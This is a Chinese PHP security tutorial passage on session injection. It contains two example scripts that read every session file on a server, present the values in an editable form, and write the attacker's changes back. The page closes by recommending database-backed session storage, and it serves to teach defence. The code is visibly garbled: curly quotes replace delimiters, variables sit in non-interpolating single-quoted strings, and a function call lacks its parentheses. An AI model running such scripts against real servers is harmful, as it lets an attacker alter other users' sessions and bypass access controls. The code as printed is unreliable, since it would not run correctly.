PHP安全-會(huì)話(huà)注入
一個(gè)與會(huì)話(huà)暴露類(lèi)似的問(wèn)題是會(huì)話(huà)注入。此類(lèi)攻擊是基于你的WEB服務(wù)器除了對(duì)會(huì)話(huà)存儲(chǔ)目錄有讀取權(quán)限外,還有寫(xiě)入權(quán)限。因此,存在著編寫(xiě)一段允許其他用戶(hù)添加,編輯或刪除會(huì)話(huà)的腳本的可能。下例顯示了一個(gè)允許用戶(hù)方便地編輯已存在的會(huì)話(huà)數(shù)據(jù)的HTML表單:
<?php
session_start();
?>
<form action='inject.php' method='POST'>
<?php
$path = ini_get(’session.save_path’);
$handle = dir($path);
while ($filename = $handle->read())
{
if (substr($filename, 0, 5) == ’sess_’)
{
$sess_data = file_get_contents('$path/$filename');
if (!empty($sess_data))
{
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();
$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name, ENT_QUOTES, ’UTF-8’);
echo '<h1>Session [$sess_name]</h1>';
foreach ($sess_data as $name => $value)
{
$name = htmlentities($name, ENT_QUOTES, ’UTF-8’);
$value = htmlentities($value, ENT_QUOTES, ’UTF-8’);
echo '<p>
$name:
<input type='text'
name='{$sess_name}[{$name}]'
value='$value' />
</p>';
}
echo ’<br />’;
}
}
}
$handle->close();
?>
<input type='submit' />
</form>
腳本inject.php執(zhí)行由表單所指定的修改:
<?php
session_start();
$path = ini_get(’session.save_path’);
foreach ($_POST as $sess_name => $sess_data)
{
$_SESSION = $sess_data;
$sess_data = session_encode;
file_put_contents('$path/$sess_name', $sess_data);
}
$_SESSION = array();
?>
此類(lèi)攻擊非常危險(xiǎn)。攻擊者不僅可以編輯你的用戶(hù)的數(shù)據(jù),還可以編輯他自己的會(huì)話(huà)數(shù)據(jù)。它比會(huì)話(huà)劫持更為強(qiáng)大,因?yàn)楣粽吣苓x擇所有的會(huì)話(huà)數(shù)據(jù)進(jìn)行修改,從而使繞過(guò)訪問(wèn)限制和其他安全手段成為可能。
針對(duì)這個(gè)問(wèn)題的最好解決方案是將會(huì)話(huà)數(shù)據(jù)保存在數(shù)據(jù)庫(kù)中。參見(jiàn)前節(jié)所示。
相關(guān)文章:
1. Python 制作查詢(xún)商品歷史價(jià)格的小工具2. python 使用事件對(duì)象asyncio.Event來(lái)同步協(xié)程的操作3. ASP基礎(chǔ)知識(shí)VBScript基本元素講解4. Python3 json模塊之編碼解碼方法講解5. 使用Python webdriver圖書(shū)館搶座自動(dòng)預(yù)約的正確方法6. Python sublime安裝及配置過(guò)程詳解7. Python 合并拼接字符串的方法8. Linux刪除系統(tǒng)自帶版本Python過(guò)程詳解9. Python 利用Entrez庫(kù)篩選下載PubMed文獻(xiàn)摘要的示例10. ASP.NET MVC使用jQuery ui的progressbar實(shí)現(xiàn)進(jìn)度條

網(wǎng)公網(wǎng)安備